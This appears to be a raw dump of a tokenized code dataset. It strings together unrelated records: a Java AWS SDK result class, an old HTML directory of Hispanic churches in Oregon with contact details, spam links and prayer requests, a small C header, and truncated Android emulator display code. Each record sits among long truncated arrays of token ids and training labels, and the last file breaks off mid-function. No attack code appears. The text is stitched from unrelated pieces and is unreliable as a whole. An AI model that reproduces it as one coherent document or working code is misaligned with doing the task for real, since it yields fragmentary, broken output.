1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Copyright 2010-2011 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package com.amazonaws.services.autoscaling.model;
/**
* <p>
* The output for the TerminateInstanceInAutoScalingGroup action.
* </p>
*/
public class TerminateInstanceInAutoScalingGroupResult {
/**
* A Scaling Activity.
*/
private Activity activity;
/**
* A Scaling Activity.
*
* @return A Scaling Activity.
*/
public Activity getActivity() {
return activity;
}
/**
* A Scaling Activity.
*
* @param activity A Scaling Activity.
*/
public void setActivity(Activity activity) {
this.activity = activity;
}
/**
* A Scaling Activity.
* <p>
* Returns a reference to this object so that method calls can be chained together.
*
* @param activity A Scaling Activity.
*
* @return A reference to this updated object so that method calls can be chained
* together.
*/
public TerminateInstanceInAutoScalingGroupResult withActivity(Activity activity) {
this.activity = activity;
return this;
}
/**
* Returns a string representation of this object; useful for testing and
* debugging.
*
* @return A string representation of this object.
*
* @see java.lang.Object#toString()
*/
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append("{");
sb.append("Activity: " + activity + ", ");
sb.append("}");
return sb.toString();
}
}
| apetresc/aws-sdk-for-java-on-gae | src/main/java/com/amazonaws/services/autoscaling/model/TerminateInstanceInAutoScalingGroupResult.java | Java | apache-2.0 | 2,135 | [
30522,
1013,
1008,
1008,
9385,
2230,
1011,
2249,
9733,
1012,
4012,
1010,
4297,
1012,
2030,
2049,
18460,
1012,
2035,
2916,
9235,
1012,
1008,
1008,
7000,
2104,
1996,
15895,
6105,
1010,
2544,
1016,
1012,
1014,
1006,
1996,
1000,
6105,
1000,
1... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<HTML>
<HEAD>
<meta http-equiv="content-type" content="text/html;charset=X-MAC-ROMAN">
<META NAME="GENERATOR" CONTENT="Adobe Golive6.0 Mac">
<TITLE>Iglesias Oregon y Portland</TITLE>
<META NAME="description" CONTENT="Iglesias Oregon USA es directorio de Iglesias hispanas en Portland Oregan usa">
<META NAME="keywords" CONTENT="iglesia, directorio iglesias, Iglesias Oregon, la iglesia de portland oregan">
<META HTTP-EQUIV="pics-label" CONTENT='(pics-1.1 "http://www.icra.org/ratingsv02.html" l gen true for "http://iglesia-usa.com" r (cz 1 lz 1 nz 1 oz 1 vz 1) "http://www.rsac.org/ratingsv01.html" l gen true for "http://iglesia-usa.com" r (n 0 s 0 v 0 l 0))'>
</HEAD>
<body text="#0000ff" bgcolor="#ffffff">
<div align="left">
<font size="-1" color="#171998">La Iglesia-usa Oregon es su directorio guia lista de las congregaciones de Portland Oregon</font>
<table width="780" border="2" cellspacing="2" cellpadding="1" align="center" bgcolor="white" height="175">
<tr height="171">
<td width="60%" height="171">
<div align="center">
<i><font size="+1" color="red"><strong>La iglesia en Oregon</strong></font></i></div>
</td>
<td width="40%" height="171">
<div align="center">
<div align="center">
<div align="center">
<div align="center">
<p><font size="-1"><a href="http://amor-cristiano.com/">Hay romance cristiana y amor-cristiano</a></font><a href="http://amor-cristiano.com/"><img src="logo-amor-cristiano.jpg" alt="image amor cristiano romance" height="129" width="163" border="0"></a></p>
</div>
</div>
</div>
</div>
</td>
</tr>
</table>
</div>
<div align="center">
<div align="left">
<div align="left">
<div align="left">
<div align="center">
<div align="left">
<div align="left">
<div align="left">
<div align="left">
<div align="left">
<div align="left">
<div align="left">
<table width="780" border="1" cellspacing="2" cellpadding="0">
<tr>
<td>
<p><kbd><strong><font size="-1" color="#ff0000" face="Helvetica, Geneva, Arial, SunSans-Regular, sans-serif">Iglesias de Oregon</font><font size="-1" color="#ffffff" face="Helvetica, Geneva, Arial, SunSans-Regular, sans-serif">,<br>
</font></strong></kbd></p>
<p><font size="-1" color="black" face="Helvetica, Geneva, Arial, SunSans-Regular, sans-serif"><strong>ALBANY, <a href="4301-iglesia-la-vina.html">IGLESIA CRISTIANA LA VIÑA</a> , 2110 SANTIAM HWY, Teléfono: 541-7919217, email: maricruzavivamiento@hotmail.com - ig4301</strong></font></p>
<p><kbd><font size="-1" color="black" face="Helvetica, Geneva, Arial, SunSans-Regular, sans-serif"><strong>Ashland, Iglesia Apostolica Unida ³Nombre de Jesucristo², 631 Clay St.,, (541) 608 77 39 </strong></font></kbd></p>
<p><font size="-1" color="#000000" face="Helvetica, Geneva, Arial, SunSans-Regular, sans-serif"><strong>HILLSBORO, IGLESIA DE CRISTO CRISTIANA, 540 N.E. EDISON , , fono: (503) 648-4436 CHOR4<kbd>,</kbd></strong></font></p>
<p><font size="-1" color="black" face="Helvetica, Geneva, Arial, SunSans-Regular, sans-serif"><strong>MADRAS, IGLESIA BAUTISTA CONSERVADRA BILINGUE, 745 NE 10TH , , fono: (541)475-1362 OR5</strong></font></p>
<p><font size="-1" color="black" face="Helvetica, Geneva, Arial, SunSans-Regular, sans-serif"><strong>MILWAUKIE, <a href="3407.html">IGLESIA CRISTIANA HISPANA "SHALOM"</a>, 5101 SE THIESSEN RD.,, fono: 503-786-9197 - ig3407</strong></font></p>
<p><font size="-1" color="black" face="Helvetica, Geneva, Arial, SunSans-Regular, sans-serif"><strong>Portland, Iglesia cristiana interdenominacional "Templo maranatha", 18518 SE Yamhill Cr,, , fono: 503)4929846 - ig3394</strong></font></p>
<p><font color="#00000b"><strong>Portland, <a href="3943-iglesia-jesucristo.html">Iglesia de Jesucrito ministerio vida eterna</a>, 181 ne gresham, 503 490-2866 -ig-3943</strong></font></p>
<p><font size="-1" color="black" face="Helvetica, Geneva, Arial, SunSans-Regular, sans-serif"><strong>Salem, Iglesia de Cristo "Ciudad de Paz", 1699 Court Street NE,, fono: 503-371-8599 - ig3505</strong></font></p>
<p><font size="-1" color="black" face="Helvetica, Geneva, Arial, SunSans-Regular, sans-serif"><strong>Tualatin, <a href="3992-iglesia-jesucristo.html">Iglesia de Jesucristo</a>, 20200 Martinazzi ave. {503} 692-5771 - site3992/mac4529</strong></font></p>
<p><font size="-1" color="black" face="Helvetica, Geneva, Arial, SunSans-Regular, sans-serif"><kbd><strong>WOODBURN, <a href="or1.html">IGLESIA PENTECOSTES,</a> 198 East Lincoln St., Fono (503)390 1944, CHOR1</strong></kbd></font><font color="black"><kbd> </kbd></font></p>
</td>
</tr>
</table>
<div align="center">
<div align="center">
<p><font color="#fd1b09"><b><strong><a href="iglesia-directorio.html">Volver al directorio Iglesia-USA</a></strong></b></font></p>
<p><font size="-1">| <a href="http://www.gracevision.com/tratados-cristianos.html">Tratados evangelisticos</a> |<a href="http://www.postales-cristianas.com">postales cristianas</a> </font></p>
<table width="740" border="1" cellspacing="2" cellpadding="0" height="111">
<tr>
<td width="33%">
<div align="center">
<font color="#9c00ff"><a href="http://www.gracevision.com/tratados-cristianos.html"><img src="logo-tratados.jpg" alt="tratados folletos cristianos" width="126" height="99" border="1"></a></font></div>
</td>
<td width="33%">
<div align="center">
<a href="http://predico.org"><img src="logo-predico-2.jpg" alt="predico red cristiana ministerio cristianas" width="149" height="107" border="0"></a><font color="#b60000"><br>
</font><font size="-1" color="#fd1b09"><strong>Haga un sitio de información para su iglesia!!</strong></font><font size="-1" color="#0606f6"><strong> <a href="http://www.predico.org/">predico.org</a> es sitio </strong></font><font size="-1" color="#b60000"><strong>gratis</strong></font><font size="-1" color="#0606f6"><strong> red ministerial. Es para los pastores cristianos, ministros, evangelistas y todos los siervos de Dios. Forma amistades. Disfrute el intercambio entre diversos pastores de todos demominaciones en el chat. </strong></font><font size="-1" color="#0606f6"><strong> Escribe sus pensamientos en su blog cristaino. Publique el horario de los cultos de su iglesia. Publique fotos de su ministerio, su iglesia, su familia. Por favor, comparta su ministrio!</strong></font></div>
</td>
<td width="34%">
<div align="center">
<font color="#0606f6"><a href="http://libreria-cristiana.us"><img src="logo-directorio-librerias.jpg" alt="libreria cristianas directorio guia" width="119" height="94" border="1"></a></font></div>
</td>
</tr>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p></p>
<p><font size="-1"><b><a href="http://iglesia-usa.com">Volver a Iglesia-USA</a> | </b></font><font size="-1" color="#ff0000">Copyright GVP 2007 Todas los derechos reservados.</font></p>
<p><a href="iglesia-oregan.html">iglesias de pennsylvania</a></p>
<p><i><font color="red">Esto es una lista de Iglesias de Oregon.</font></i><br>
</p>
<p><font size="-1"> <a href="http://evangelsupply.com">Christian supplies for churches use</a> | </font></p>
<p><font size="-1" color="#0924af">Buy NSA Juice Plus gummies from Robbie @ or online store at </font><font size="-1" color="#0924af"><a href="https://www.juiceplus.com/medical/+ba74150">Juice Plus gummies </a>supplement contact Robbie @your juice plus distributor .</font></p>
</div>
<div align="left">
<div align="center">
<div align="left">
<div align="left">
<div align="center">
<div align="left">
<div align="left">
<div align="left">
<div align="left">
<div align="left">
<div align="left">
<div align="left">
<div align="left">
<div align="center">
<div align="center">
<div align="left">
<div align="center">
<div align="left">
<div align="center">
<div align="center">
<div align="left">
<div align="left">
<div align="left">
<div align="left">
<div align="left">
<div align="left">
<div align="left">
<div align="left">
<div align="left">
<div align="left">
<p><font size="-1" color="#000002">Pido oracion porque vuelva el gozo a mi corazon, que Dios restaure mi noviazgo, que pueda entrar de copiloto este año, que le de el trabajo a mi papa y restaure nuestra familia. confiamos en que Dios es un Dios de imposibles y me de fortaleza para poder esperar que Dios obre en mis peticiones, gracias por interceder por mis peticiones ante nuestro Señor</font></p>
<p><font size="-1" color="#000002">, morelia, méxico, por tener a mi marido; prosperidad; sanación; liberación de mi enfermedad; unión en mi casa y trabajo </font></p>
<p><font size="-1" color="#000002">Ciudad: madrid españa, Que dios les bendiga soi josé les ruego pongan esta petición urgente que dios les bendiga y ademas les ruego que oren porque hay ciertas personas que nos quieren dañar oren para que el señor nosde protección y desbarate todo plan que contra nosotros se forje porque tratan de hacernos daño por lo que les pido oren para que el señor aparte todo lo que forjen en contra nuestra para dañarno y dios aparte de nuestro camino alos enemigos que se levantan contra nosotros con doda clase de artimas: que dios les siga bendiciendo</font></p>
<p><font size="-1" color="#000002">quiero pedirles de todo corazon una oracion para un amigo querido que esta muy grave esta muy mal de verdad. el se llama henry por favor se los agradesere mucho<br>
</font></p>
<p><font size="-1" color="#000002"></font></p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</body>
</HTML>
| jordotech/iglesia | oldsite/iglesia-oregan.html | HTML | gpl-2.0 | 11,784 | [
30522,
1026,
16129,
1028,
1026,
2132,
1028,
1026,
18804,
8299,
1011,
1041,
15549,
2615,
1027,
1000,
4180,
1011,
2828,
1000,
4180,
1027,
1000,
3793,
1013,
16129,
1025,
25869,
13462,
1027,
1060,
1011,
6097,
1011,
3142,
1000,
1028,
1026,
18804... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* rfc.h, part of "knet" project.
*
* Created on: 05.06.2015, 23:00
* Author: Vsevolod Lutovinov <klopp@yandex.ru>
*/
#ifndef RFC_H_
#define RFC_H_
#include "../klib/config.h"
#include <time.h>
char * rfc1123_date( char * buf, time_t t );
#endif /* RFC_H_ */
| klopp/knet | rfc.h | C | mit | 276 | [
30522,
1013,
1008,
1008,
14645,
1012,
1044,
1010,
2112,
1997,
1000,
14161,
3388,
1000,
2622,
1012,
1008,
1008,
2580,
2006,
1024,
5709,
1012,
5757,
1012,
2325,
1010,
2603,
1024,
4002,
1008,
3166,
1024,
5443,
6777,
12898,
2094,
11320,
26525,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/* Copyright (C) 2007-2008 The Android Open Source Project
**
** This software is licensed under the terms of the GNU General Public
** License version 2, as published by the Free Software Foundation, and
** may be copied, distributed, and modified under those terms.
**
** This program is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
*/
#include "android/skin/window.h"
#include "android/skin/charmap.h"
#include "android/skin/event.h"
#include "android/skin/image.h"
#include "android/skin/scaler.h"
#include "android/skin/winsys.h"
#include "android/utils/debug.h"
#include "android/utils/setenv.h"
#include "android/utils/system.h"
#include "android/utils/duff.h"
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
/* when shrinking, we reduce the pixel ratio by this fixed amount */
#define SHRINK_SCALE 0.6
/* maximum value of LCD brighness */
#define LCD_BRIGHTNESS_MIN 0
#define LCD_BRIGHTNESS_DEFAULT 128
#define LCD_BRIGHTNESS_MAX 255
typedef struct Background {
SkinImage* image;
SkinRect rect;
SkinPos origin;
} Background;
static void
background_done( Background* back )
{
skin_image_unref( &back->image );
}
static void
background_init(Background* back,
SkinBackground* sback,
SkinLocation* loc,
SkinRect* frame)
{
SkinRect r;
back->image = skin_image_rotate( sback->image, loc->rotation );
skin_rect_rotate( &r, &sback->rect, loc->rotation );
r.pos.x += loc->anchor.x;
r.pos.y += loc->anchor.y;
back->origin = r.pos;
skin_rect_intersect( &back->rect, &r, frame );
}
static void
background_redraw(Background* back, SkinRect* rect, SkinSurface* surface)
{
SkinRect r;
if (skin_rect_intersect( &r, rect, &back->rect ) )
{
SkinRect src_rect;
src_rect.pos.x = r.pos.x - back->origin.x;
src_rect.pos.y = r.pos.y - back->origin.y;
src_rect.size = r.size;
skin_surface_blit(surface,
&r.pos,
skin_image_surface(back->image),
&src_rect,
SKIN_BLIT_SRCOVER);
}
}
typedef struct ADisplay {
SkinRect rect;
SkinPos origin;
SkinRotation rotation;
SkinSize datasize; /* framebuffer size */
void* data; /* framebuffer pixels */
int bits_per_pixel; /* framebuffer depth */
SkinImage* onion; /* onion image */
SkinRect onion_rect; /* onion rect, if any */
int brightness;
} ADisplay;
static void
display_done( ADisplay* disp )
{
disp->data = NULL;
skin_image_unref( &disp->onion );
}
static int
display_init( ADisplay* disp, SkinDisplay* sdisp, SkinLocation* loc, SkinRect* frame )
{
skin_rect_rotate( &disp->rect, &sdisp->rect, loc->rotation );
disp->rect.pos.x += loc->anchor.x;
disp->rect.pos.y += loc->anchor.y;
disp->rotation = (loc->rotation + sdisp->rotation) & 3;
switch (disp->rotation) {
case SKIN_ROTATION_0:
disp->origin = disp->rect.pos;
break;
case SKIN_ROTATION_90:
disp->origin.x = disp->rect.pos.x + disp->rect.size.w;
disp->origin.y = disp->rect.pos.y;
break;
case SKIN_ROTATION_180:
disp->origin.x = disp->rect.pos.x + disp->rect.size.w;
disp->origin.y = disp->rect.pos.y + disp->rect.size.h;
break;
default:
disp->origin.x = disp->rect.pos.x;
disp->origin.y = disp->rect.pos.y + disp->rect.size.h;
break;
}
skin_size_rotate( &disp->datasize, &sdisp->rect.size, sdisp->rotation );
skin_rect_intersect( &disp->rect, &disp->rect, frame );
#if 0
fprintf(stderr, "... display_init rect.pos(%d,%d) rect.size(%d,%d) datasize(%d,%d)\n",
disp->rect.pos.x, disp->rect.pos.y,
disp->rect.size.w, disp->rect.size.h,
disp->datasize.w, disp->datasize.h);
#endif
disp->data = NULL;
disp->bits_per_pixel = 0;
if (sdisp->framebuffer_funcs) {
disp->data =
sdisp->framebuffer_funcs->get_pixels(sdisp->framebuffer);
disp->bits_per_pixel =
sdisp->framebuffer_funcs->get_depth(sdisp->framebuffer);
}
disp->onion = NULL;
disp->brightness = LCD_BRIGHTNESS_DEFAULT;
return (disp->data == NULL) ? -1 : 0;
}
static __inline__ uint32_t rgb565_to_rgba32(uint32_t pix,
uint32_t rshift, uint32_t gshift, uint32_t bshift, uint32_t amask)
{
uint32_t r8 = ((pix & 0xf800) >> 8) | ((pix & 0xe000) >> 13);
uint32_t g8 = ((pix & 0x07e0) >> 3) | ((pix & 0x0600) >> 9);
uint32_t b8 = ((pix & 0x001f) << 3) | ((pix & 0x001c) >> 2);
return (r8 << rshift) | (g8 << gshift) | (b8 << bshift) | amask;
}
/* The framebuffer format is R,G,B,X in framebuffer memory, on a
* little-endian system, this translates to XBGR after a load.
*/
static __inline__ uint32_t xbgr_to_rgba32(uint32_t pix,
uint32_t rshift, uint32_t gshift, uint32_t bshift, uint32_t amask)
{
uint32_t r8 = (pix & 0x00ff0000) >> 16;
uint32_t g8 = (pix & 0x0000ff00) >> 8;
uint32_t b8 = (pix & 0x000000ff) >> 0;
return (r8 << rshift) | (g8 << gshift) | (b8 << bshift) | amask;
}
static void
display_set_onion( ADisplay* disp, SkinImage* onion, SkinRotation rotation, int blend )
{
int onion_w, onion_h;
SkinRect* rect = &disp->rect;
SkinRect* orect = &disp->onion_rect;
rotation = (rotation + disp->rotation) & 3;
skin_image_unref( &disp->onion );
disp->onion = skin_image_clone_full( onion, rotation, blend );
onion_w = skin_image_w(disp->onion);
onion_h = skin_image_h(disp->onion);
switch (rotation) {
case SKIN_ROTATION_0:
orect->pos = rect->pos;
break;
case SKIN_ROTATION_90:
orect->pos.x = rect->pos.x + rect->size.w - onion_w;
orect->pos.y = rect->pos.y;
break;
case SKIN_ROTATION_180:
orect->pos.x = rect->pos.x + rect->size.w - onion_w;
orect->pos.y = rect->pos.y + rect->size.h - onion_h;
break;
default:
orect->pos.x = rect->pos.x;
orect->pos.y = rect->pos.y + rect->size.h - onion_h;
}
orect->size.w = onion_w;
orect->size.h = onion_h;
}
#define DOT_MATRIX 0
#if DOT_MATRIX
static void
dotmatrix_dither_argb32( unsigned char* pixels, int x, int y, int w, int h, int pitch )
{
static const unsigned dotmatrix_argb32[16] = {
0x003f00, 0x00003f, 0x3f0000, 0x000000,
0x3f3f3f, 0x000000, 0x3f3f3f, 0x000000,
0x3f0000, 0x000000, 0x003f00, 0x00003f,
0x3f3f3f, 0x000000, 0x3f3f3f, 0x000000
};
int yy = y & 3;
pixels += 4*x + y*pitch;
for ( ; h > 0; h-- ) {
unsigned* line = (unsigned*) pixels;
int nn, xx = x & 3;
for (nn = 0; nn < w; nn++) {
unsigned c = line[nn];
c = c - ((c >> 2) & dotmatrix_argb32[(yy << 2)|xx]);
xx = (xx + 1) & 3;
line[nn] = c;
}
yy = (yy + 1) & 3;
pixels += pitch;
}
}
#endif /* DOT_MATRIX */
/* technical note about the lightness emulation
*
* we try to emulate something that looks like the Dream's
* non-linear LCD lightness, without going too dark or bright.
*
* the default lightness is around 105 (about 40%) and we prefer
* to keep full RGB colors at that setting, to not alleviate
* developers who will not understand why the emulator's colors
* look slightly too dark.
*
* we also want to implement a 'bright' mode by de-saturating
* colors towards bright white.
*
* All of this leads to the implementation below that looks like
* the following:
*
* if (level == MIN)
* screen is off
*
* if (level > MIN && level < LOW)
* interpolate towards black, with
* MINALPHA = 0.2
* alpha = MINALPHA + (1-MINALPHA)*(level-MIN)/(LOW-MIN)
*
* if (level >= LOW && level <= HIGH)
* keep full RGB colors
*
* if (level > HIGH)
* interpolate towards bright white, with
* MAXALPHA = 0.6
* alpha = MAXALPHA*(level-HIGH)/(MAX-HIGH)
*
* we probably want some sort of power law instead of interpolating
* linearly, but frankly, this is sufficient for most uses.
*/
#define LCD_BRIGHTNESS_LOW 80
#define LCD_BRIGHTNESS_HIGH 180
#define LCD_ALPHA_LOW_MIN 0.2
#define LCD_ALPHA_HIGH_MAX 0.6
/* treat as special value to turn screen off */
#define LCD_BRIGHTNESS_OFF LCD_BRIGHTNESS_MIN
static void
lcd_brightness_argb32(uint32_t* pixels,
SkinRect* r,
int pitch,
int brightness)
{
const unsigned b_min = LCD_BRIGHTNESS_MIN;
const unsigned b_max = LCD_BRIGHTNESS_MAX;
const unsigned b_low = LCD_BRIGHTNESS_LOW;
const unsigned b_high = LCD_BRIGHTNESS_HIGH;
unsigned alpha = brightness;
int w = r->size.w;
int h = r->size.h;
if (alpha <= b_min)
alpha = b_min;
else if (alpha > b_max)
alpha = b_max;
pixels += 4*r->pos.x + r->pos.y*pitch;
if (alpha < b_low)
{
const unsigned alpha_min = (255*LCD_ALPHA_LOW_MIN);
const unsigned alpha_range = (255 - alpha_min);
alpha = alpha_min + ((alpha - b_min)*alpha_range) / (b_low - b_min);
for ( ; h > 0; h-- ) {
unsigned* line = (unsigned*) pixels;
int nn = 0;
DUFF4(w, {
unsigned c = line[nn];
unsigned ag = (c >> 8) & 0x00ff00ff;
unsigned rb = (c) & 0x00ff00ff;
ag = (ag*alpha) & 0xff00ff00;
rb = ((rb*alpha) >> 8) & 0x00ff00ff;
line[nn] = (unsigned)(ag | rb);
nn++;
});
pixels += pitch;
}
}
else if (alpha > LCD_BRIGHTNESS_HIGH) /* 'superluminous' mode */
{
const unsigned alpha_max = (255*LCD_ALPHA_HIGH_MAX);
const unsigned alpha_range = (255-alpha_max);
unsigned ialpha;
alpha = ((alpha - b_high)*alpha_range) / (b_max - b_high);
ialpha = 255-alpha;
for ( ; h > 0; h-- ) {
unsigned* line = (unsigned*) pixels;
int nn = 0;
DUFF4(w, {
unsigned c = line[nn];
unsigned ag = (c >> 8) & 0x00ff00ff;
unsigned rb = (c) & 0x00ff00ff;
/* interpolate towards bright white, i.e. 0x00ffffff */
ag = ((ag*ialpha + 0x00ff00ff*alpha)) & 0xff00ff00;
rb = ((rb*ialpha + 0x00ff00ff*alpha) >> 8) & 0x00ff00ff;
line[nn] = (unsigned)(ag | rb);
nn++;
});
pixels += pitch;
}
}
}
/* this is called when the LCD framebuffer is off */
static void
lcd_off_argb32(uint32_t* pixels, SkinRect* r, int pitch)
{
int x = r->pos.x;
int y = r->pos.y;
int w = r->size.w;
int h = r->size.h;
pixels += 4 * x + y*pitch;
for ( ; h > 0; h-- ) {
memset( pixels, 0, w*4 );
pixels += pitch;
}
}
static void
display_redraw_rect16(ADisplay* disp,
SkinRect* rect,
SkinSurfacePixels* dst,
SkinSurfacePixelFormat* dst_format)
{
int x = rect->pos.x - disp->rect.pos.x;
int y = rect->pos.y - disp->rect.pos.y;
int w = rect->size.w;
int h = rect->size.h;
int disp_w = disp->rect.size.w;
int disp_h = disp->rect.size.h;
int dst_pitch = dst->pitch;
uint8_t* dst_line = (uint8_t*)dst->pixels + rect->pos.x*4 + rect->pos.y*dst_pitch;
int src_pitch = disp->datasize.w*2;
uint8_t* src_line = (uint8_t*)disp->data;
int yy, xx;
uint32_t rshift = dst_format->r_shift;
uint32_t gshift = dst_format->g_shift;
uint32_t bshift = dst_format->b_shift;
uint32_t amask = dst_format->a_mask; // may be 0x00 for non-alpha format
switch ( disp->rotation & 3 )
{
case SKIN_ROTATION_0:
src_line += x*2 + y*src_pitch;
for (yy = h; yy > 0; yy--)
{
uint32_t* dst = (uint32_t*)dst_line;
uint16_t* src = (uint16_t*)src_line;
xx = 0;
DUFF4(w, {
dst[xx] = rgb565_to_rgba32(src[xx], rshift, gshift, bshift, amask);
xx++;
});
src_line += src_pitch;
dst_line += dst_pitch;
}
break;
case SKIN_ROTATION_90:
src_line += y*2 + (disp_w - x - 1)*src_pitch;
for (yy = h; yy > 0; yy--)
{
uint32_t* dst = (uint32_t*)dst_line;
uint8_t* src = src_line;
DUFF4(w, {
dst[0] = rgb565_to_rgba32(((uint16_t*)src)[0], rshift, gshift, bshift, amask);
src -= src_pitch;
dst += 1;
});
src_line += 2;
dst_line += dst_pitch;
}
break;
case SKIN_ROTATION_180:
src_line += (disp_w -1 - x)*2 + (disp_h-1-y)*src_pitch;
for (yy = h; yy > 0; yy--)
{
uint16_t* src = (uint16_t*)src_line;
uint32_t* dst = (uint32_t*)dst_line;
DUFF4(w, {
dst[0] = rgb565_to_rgba32(src[0], rshift, gshift, bshift, amask);
src -= 1;
dst += 1;
});
src_line -= src_pitch;
dst_line += dst_pitch;
}
break;
default: /* SKIN_ROTATION_270 */
src_line += (disp_h-1-y)*2 + x*src_pitch;
for (yy = h; yy > 0; yy--)
{
uint32_t* dst = (uint32_t*)dst_line;
uint8_t* src = src_line;
DUFF4(w, {
dst[0] = rgb565_to_rgba32(((uint16_t*)src)[0], rshift, gshift, bshift, amask);
dst += 1;
src += src_pitch;
});
src_line -= 2;
dst_line += dst_pitch;
}
}
}
static void
display_redraw_rect32(ADisplay* disp,
SkinRect* rect,
SkinSurfacePixels* dst,
SkinSurfacePixelFormat* dst_format)
{
int x = rect->pos.x - disp->rect.pos.x;
int y = rect->pos.y - disp->rect.pos.y;
int w = rect->size.w;
int h = rect->size.h;
int disp_w = disp->rect.size.w;
int disp_h = disp->rect.size.h;
int dst_pitch = dst->pitch;
uint8_t* dst_line = (uint8_t*)dst->pixels + rect->pos.x*4 + rect->pos.y*dst_pitch;
int src_pitch = disp->datasize.w*4;
uint8_t* src_line = (uint8_t*)disp->data;
int yy;
uint32_t rshift = dst_format->r_shift;
uint32_t gshift = dst_format->g_shift;
uint32_t bshift = dst_format->b_shift;
uint32_t amask = dst_format->a_mask; // may be 0x00 for non-alpha format
switch ( disp->rotation & 3 )
{
case SKIN_ROTATION_0:
src_line += x*4 + y*src_pitch;
for (yy = h; yy > 0; yy--) {
uint32_t* src = (uint32_t*)src_line;
uint32_t* dst = (uint32_t*)dst_line;
DUFF4(w, {
dst[0] = xbgr_to_rgba32(src[0], rshift, gshift, bshift, amask);
dst++;
src++;
});
src_line += src_pitch;
dst_line += dst_pitch;
}
break;
case SKIN_ROTATION_90:
src_line += y*4 + (disp_w - x - 1)*src_pitch;
for (yy = h; yy > 0; yy--)
{
uint32_t* dst = (uint32_t*)dst_line;
uint8_t* src = src_line;
DUFF4(w, {
dst[0] = xbgr_to_rgba32(*(uint32_t*)src, rshift, gshift, bshift, amask);
src -= src_pitch;
dst += 1;
});
src_line += 4;
dst_line += dst_pitch;
}
break;
case SKIN_ROTATION_180:
src_line += (disp_w -1 - x)*4 + (disp_h-1-y)*src_pitch;
for (yy = h; yy > 0; yy--)
{
uint32_t* src = (uint32_t*)src_line;
uint32_t* dst = (uint32_t*)dst_line;
DUFF4(w, {
